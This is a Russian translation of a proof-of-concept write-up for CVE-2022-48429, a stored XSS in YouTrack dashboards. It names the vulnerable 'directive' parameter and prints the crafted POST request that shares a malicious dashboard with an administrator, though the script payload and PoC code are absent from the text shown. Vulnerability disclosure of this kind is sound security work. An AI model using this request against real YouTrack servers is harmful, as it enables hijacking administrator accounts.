
PoC для CVE-2022-48429 - хранимая XSS в Youtrack
Официальное описание CVE в базе NVD неточно. Ниже приведено более точное описание:
В Youtrack (версии <= 2022.3.65373) присутствует хранимая XSS-уязвимость (Cross-Site Scripting) в дашбордах. Злоумышленник с низкими привилегиями может создать и отправить другим пользователям (например, администраторам) некорректный дашборд. Это может привести к захвату учётной записи администратора.
Автор оригинала: echo-devim
В ходе исследования проблем безопасности в Youtrack версии 2022.3.65373 я обнаружил XSS в дашбордах.
Пользователь без привилегий может создать дашборд с вредоносным виджетом, содержащим внедрённый JavaScript. Этот дашборд можно отправить другим пользователям, например администраторам, вместе с вредоносным кодом.
Эта XSS может быть направлена только на конкретных пользователей, и обманом заставить жертву открыть вредоносный дашборд очень просто. Более того, о новом дашборде появится уведомление на главной странице жертвы. Я заметил, что уязвимость присутствует начиная с версии 2021.4.38425, но она может быть и более старой.
Уязвимым параметром является «directive» при добавлении пользователем нового виджета.
Пример вредоносного запроса для внедрения XSS:
POST /hub/api/rest/dashboards/39ecb0a3-4bb5-45de-9616-9945fd284886 HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (X11; Windows x86_64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/json;charset=utf-8
Content-Length: 1214
{"type":"DashboardJSON","id":"39ecb0a3-4bb5-45de-9616-9945fd284886","name":"testxss","owner":{"type":"user","id":"58a24bf5-53ad-4966-9b5d-63cb8dbfef0a","login":"test"},"data":{"widgets":[{"id":"youtrack-activities-widget","directive":"","grid":{"width":2,"height":2,"y":0,"x":0},"config":{"created":"2023-03-17T10:04:50.590Z","customWidgetConfig":{"filter":{"title":null,"query":"by: me","author":null,"categoriesIds":["IssueCreatedCategory","ProjectCategory","SummaryCategory","DescriptionCategory","CustomFieldCategory","AttachmentsCategory","LinksCategory","CommentsCategory"],"youTrack":{"id":"731f4f21-b0f9-42bd-9509-127b2d0585e1","homeUrl":"/"},"refreshPeriod":240}}}}]},"permission":"OWNER","access":"OWNER","favorite":true,"ordinal":0,"permissions":[{"type":"UserDashboardPermissionJSON","id":"42e794d7-0009-4b00-83f4-45991a0392f0","permission":"VIEW","user":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"},"personality":{"type":"user","id":"fcbf85ca-4ea9-4b2e-b750-59b08df9c24a","name":"admin","login":"admin","profile":{"avatar":{"type":"defaultavatar","url":"http://localhost:8081/hub/api/rest/avatar/fcbf85ca-4ea9-4b2e-b750-59b08df9c24a"}}}}]}
Затем при обновлении страницы сработает XSS:

Эта XSS позволяет пользователю с низкими привилегиями выполнять фишинг с помощью поддельных форм входа, перенаправлять браузер пользователя или даже выполнять административные операции.
Хуже того, если на платформе включена регистрация пользователей, внешний злоумышленник может зарегистрировать нового пользователя и выполнить эту атаку.
В качестве PoC я использовал тестового пользователя с низкими привилегиями, чтобы изменить полное имя учётной записи администратора.
Код PoC:
Эта анимированная гифка демонстрирует эффект. В левом окне — страница пользователя без привилегий, в правом окне — администратор.
